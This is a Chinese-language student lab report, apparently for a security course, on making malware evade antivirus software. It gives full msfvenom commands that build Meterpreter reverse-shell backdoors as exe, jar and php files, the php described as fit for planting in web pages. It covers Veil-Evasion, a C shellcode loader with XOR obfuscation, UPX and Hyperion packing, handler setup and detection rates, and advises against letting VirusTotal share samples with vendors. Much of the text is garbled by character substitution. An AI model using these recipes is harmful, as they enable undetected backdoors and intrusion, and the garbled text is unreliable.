正确使用msf编码器,msfvenom生成如jar之类的其余文件,veil-evasion,本身利用shellcode编程等免杀工具或技巧(1.5分)php
经过组合应用各类技术实现恶意代码免杀(1分)(若是成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)html
用另外一电脑实测,在杀软开启的状况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)java
返回目录linux
10.211.55.13
)10.211.55.10
)返回目录git
返回目录程序员
恶意代码功能也是重复相似的,程序员最不屑于作的就是一样的代码写屡次。因此就产生了恶意代码的生成工具,能够用原始的功能代码按需组合生成不一样的可执行文件,现加上不一样的免杀手段。常见的如msfvenom,veil-evasion,backdoor-factory等。github
对于这种状况,AV厂商固然是要尽可能找到如msfvenom生成软件的特征,而不是搜集全部生成结果的特征了。其结果就是只要msfvenom生成的exe就会检测到,无论你是用了什么编码器,迭代编码的多少次。算法
在免杀过程当中,咱们就会使用这样的工具来生成恶意代码,并测试其免杀效果。shell
返回目录编程
集成了60多个商业杀毒软件的扫描引擎。能够上传免杀处理过的程序进行检测。
若是上传的程序全部软件都杀不出来,virustotal就会把它交给AV厂商们了,而后...在杀毒库更新前,你还可使用一段时间。
Virustatol不包括各AV软件的行为分析部分(behavioral analysis)。但它本身开发了本身的行为分析引擎。太慢,还没试用。
https://www.virustotal.com/,最近奇慢,缘由不明。
http://www.virscan.org/ 国内的相似virtustotal
msfvenom直接生成meterpreter可执行文件,检出率为46/57。57个扫描引擎中有46中把它识别为病毒。咱们以此为参照,看通过免杀处理的应用在Virustotal上的识别率高了仍是低了。
序号 | 免杀方式 | 可用性测试 | 测试主机OS/AV | VirusTotal | VirScan |
---|---|---|---|---|---|
1 | msfvenom直接生成 | 关闭杀软可用 | Win7_64+MSSE | 46/57 | 16/39 |
2 | msfvenom 编码一次 | 关闭杀软可用 | Win7_64+MSSE | 45/57 | 15/39 |
2 | msfvenom 屡次编码 | 关闭杀软可用 | Win7_64+MSSE | 45/57 | 16/39 |
2 | Veil-evasion | 开启杀软可用 | Win7_64+MSSE | 19/58 | 5/39 |
2 | C+shellcode | 开启杀软可用 | Win10+腾讯管家/Bitdefender | 1/39 | |
2 | UPX压缩壳 | 40/57 | 17/39 | ||
2 | Hyperion | 18/57 | 8/39 | ||
... | ... |
Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度。理所固然,全部AV厂家都盯着呢,一有新编码算法,立刻就得加到特征库里呀。
编码后呢,按理论上讲,编码会下降检出率,大不了多编码几回,总会检不出来。
msfvenom
便可查看相关用法:编码一次命令以下(用-e参数编码):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=10.211.55.10 LPORT=5314 -f exe > 5314encoded10.exe
编码十次命令以下(用-i参数指定编码次数):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=10.211.55.10 LPORT=5314 -f exe > 5314encoded10.exe
仍是8个引擎报毒啊!这招很差使!
msfvenom -p java/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=5314 x> 20155314_backdoor_java.jar
生成.jar文件:msfvenom -p php/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=5314 x> 20155314_backdoor.php
生成php文件(可用于网页挂马):Veil-Evasion是一个免杀平台,与Metasploit有点相似,在Kalil软件库中有,但默认没装。免杀效果比较好。官网上有视频教程。
sudo apt-get install veil
命令安装Veil,若遇到问题则用sudo apt-get update
和sudo apt-get upgrade
这两个命令更新一下软件包便可:veil
命令打开Veil,输入y
继续安装直至完成,之间可能等待较长时间:use evasion
命令进入Evil-Evasion:use c/meterpreter/rev_tcp.py
进入配置界面,先设置输出.exe文件名:set LHOST kali-ip
命令设置ip,用set LPORT PORT
命令设置端口号:generate
命令生成.exe文件:/var/lib/veil/output/compiled/20155314.exe
5314.exe
吧~5314.exe
传到Windows 7并尝试回连:
ncat.exe -lv 5314 > 5314.exe
打开监听;ncat -nv 10.211.55.13 5314 < 5314.exe
发送后门到Windows:msfconsole
命令用MSF打开监听进程(这回怎么又是那只兔子),再依次输入如下命令:use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.211.55.10 //此处仍然为Linux的IP
set LPORT 5314
exploit
msfvenom -p windows/meterpreter/reverse_http LHOST=10.211.55.10 LPORT=5314 -f c
生成一个c语言格式的shellcode数组:vim 5314shellcode.c
命令新建一个c文件,将生成的shellcode粘贴到其中,并在以后添加主函数:int main() { int (*func)() = (int(*)())buf; func(); }
i686-w64-mingw32-g++ 5314shellcode.c -o 5314shellcode.exe
命令生成可执行文件:5314shellcode.exe
传到Windows 7并尝试回连:
ncat.exe -lv 5314 > 5314shellcode.exe
;ncat -nv 10.211.55.13 5314 < 5314shellcode.exe
;5314shellcode.exe
——'x'
执行异或操做,而后分配一些内存,拷贝字符数组到分配的内存中,最后执行它。须要特别注意的是,必须先将shellcode与选择的关键字'x'
进行异或操做,而后将 shellcode放入到写好的代码中并编译:
'x'
异或操做后的shellcode代码:加壳的全称应该是可执行程序资源压缩,压缩后的程序能够直接运行。
加壳的另外一种经常使用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,以后再把控制权交还给原始代码,这样作的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
加壳的程序须要阻止外部程序或软件对加壳程序自己的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
这种技术也经常使用来保护软件版权,防止软件被破解。但对于病毒,加壳能够绕过一些杀毒软件的扫描,从而实现它做为病毒的一些入侵或破坏的一些特性。
MSF的编码器使用相似方法,对shellcode进行再编码。
从技术上分壳分为:
upx 5314shellcode.exe -o 5314shellcode.upxed.exe
:/usr/share/windows-binaries/hyperion/
中;wine hyperion.exe -v 5314shellcode.upxed.exe 5314shellcode.upxed.Hyperion.exe
进行加壳:加壳软件有不少商业版,主要目标是为了版权保护,防止逆向分析。更多内容见wiki相关词条。
VirScan有行为分析引擎,会给出一个安全评分。越高越安全。
上传完目标文件后,等待一下子,(1)从新上传,会提示你该文件已经分析过了,可直接查看报告;(2)或点击左侧的“查看报告”,从列表中找出你上传文件的报告页面。以下图,再点击“文件行为分析”。
下图分别是通过加密壳处理和压缩壳处理的两个文件的行为分析结果。
在真正的实践中,如下技术也有可能被应用到:
杀软并非万能的。此次实验让我充分认识到了杀软的局限性以及杀软在面对一些精心制做的后门时几乎是毫无用处的,最关键的是制做这样一个免杀后门的技术门槛和成本是很是低的。此外,因为杀软在电脑上具备相对较高的权限,它们是否私自收集和泄漏用户数据隐私也饱受世人怀疑。总之,咱们不能过于依赖杀软。
veil-evasion和半手工编程当前免杀效果最好。基本能够绕过主流AV软件。已有的编码、加壳、加密软件,须要把解压、解密代码加入到可执行文件中,这些代码片段会被检测出。加壳、加密的思路+半手工的payload多是一种可行的方式,但须要更多测试。最牛的固然是本身开发,开发这样通用的工具可能工做量仍是很是大的,好在有前人的工做能够参考像kkrunchy还有HackingTeam泄露出来的 core-packer。
返回目录